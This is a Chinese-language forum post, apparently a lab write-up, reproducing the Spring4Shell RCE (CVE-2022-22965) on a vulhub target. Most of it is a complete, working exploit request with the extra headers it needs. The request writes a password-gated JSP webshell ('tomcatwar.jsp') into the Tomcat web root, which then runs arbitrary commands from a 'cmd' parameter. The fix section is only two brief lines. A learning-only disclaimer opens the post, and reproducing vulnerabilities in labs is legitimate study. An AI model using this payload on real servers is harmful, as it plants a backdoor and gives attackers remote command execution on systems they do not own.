前言
本次实验乃本地搭建测试,未在互联网测试,仅提供学习参考。
漏洞说明
Spring框架满爆出的RCE (远程命令执行)漏洞,编号是CVE-2022-22965。这个漏洞的主要原因是在JDK9+版本里,Spring MVc的数据绑定时出现的漏洞。
影响版本
spring Framework < 5.3.18
spring Framework <5.2.20
漏洞复现
环境搭建:由vulhub一键搭建,靶场地址:yourIP:Port
[upl-image-preview url=https://bbs.pwnthebox.com/assets/files/2022-04-23/1650711107-824047-image.png]
通过burp抓取数据包修改请求,加入payload。
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
除此之外,需添加以下字段,
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
Content-Length: 2
[upl-image-preview url=https://bbs.pwnthebox.com/assets/files/2022-04-23/1650711146-772097-image.png]
成功之后,可进行远程命令执行
[upl-image-preview url=https://bbs.pwnthebox.com/assets/files/2022-04-23/1650711154-834934-image.png]
漏洞修复
WAF等安全组件防护
官方补丁信息